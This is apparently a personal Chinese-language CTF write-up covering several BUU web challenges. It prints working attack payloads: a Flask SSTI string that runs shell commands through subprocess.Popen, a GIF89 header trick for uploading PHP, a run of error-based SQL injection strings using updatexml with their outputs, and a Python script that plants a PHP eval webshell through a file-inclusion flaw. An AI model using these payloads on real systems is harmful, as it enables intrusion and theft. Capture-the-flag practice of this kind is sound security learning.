一周CTF(5)

BUU

[CSCCTF 2019 Qual]FlaskLight

SSTI

[].__class__.__base__.__subclasses__()获得object子类,过滤了globals,但是子类中有subprocess.Popen,可以直接执行命令:?search={{[].__class__.__base__.__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

flag位置为/flasklight/coomme_geeeett_youur_flek,ez😄

[WUSTCTF2020]CV Maker

文件上传,修改文件头绕过。

注册登录进去有一个头像上传功能,随便上传一个txt,页面提示exif_imagetype not image!

修改文件头GIF89,上传PHP

ezez

[GWCTF 2019]枯燥的抽奖

从源码中知道check.php的存在,这里写了判断逻辑

<?php
# 这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");

根据代码得知知道seed就可以知道最后的str,使用的工具是php_mt_seed。(ARM无法使用,暂时搁置)
https://www.freebuf.com/vuls/192012.html
https://blog.csdn.net/RABCDXB/article/details/119246038

[NCTF2019]True XML cookbook

题解

[RCTF2015]EasySQL

二次注入。

注册用户名为admin"登录,在修改密码的页面产生报错。修改密码的语句可能

UPDATE users SET PASSWORD="$pass" WHERE username="$username" and password="$curr_pass"

注册admin"#登录修改密码可以改掉admin的密码,但是里面并没有东西。

报错注入

  • or过滤使用||代替
  • 空格、/**/过滤使用()代替
admin"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#

XPATH syntax error: '~article,flag,users~'

admin"||(updatexml(1,concat(0x7e,(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1)),0x7e),1))#

XPATH syntax error: '~name,pwd,email,real_flag_1s_her'

从没有末尾的~得知结果不全。经过测试,过滤了substr和mid。为了获取完整的列名使用正则匹配regexp

admin"||(updatexml(1,concat(0x7e,(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1)),0x7e),1))#

XPATH syntax error: '~real_flag_1s_here~'

admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#

XPATH syntax error: '~xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx'

使用刚刚的方法查以f开头的内容

admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)REGEXP('^f')),0x7e),1))#

XPATH syntax error: '~flag{4bf92c23-fc90-4f55-849d-2a'

admin"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)REGEXP('^2a')),0x7e),1))#
想这样查后面的内容,不知道为什么不行

使用reverse()读取剩下的内容

admin"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)REGEXP('^f'))),0x7e),1))#

XPATH syntax error: '~}5c030d9faea2-d948-55f4-09cf-32'

这个REGEXP之后抽时间再看看吧🥱

[CISCN2019 华北赛区 Day1 Web1]Dropbox

题解

[NPUCTF2020]ezinclude

根据提示GET穿参,?name=&pass=。set-cookie中有hash字段,传入的pass对应这个hash,使用bp开始跳转。

/flflflflag.php中存在文件包含

考点:php7 segment fault特性

解法:跑个脚本

import requests
from io import BytesIO

payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://5ce4fabc-571d-413f-9fa5-e49806f39a19.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

访问扫描出的dir.php,得到tmp下生成的文件名

包含执行phpinfo()得到flag。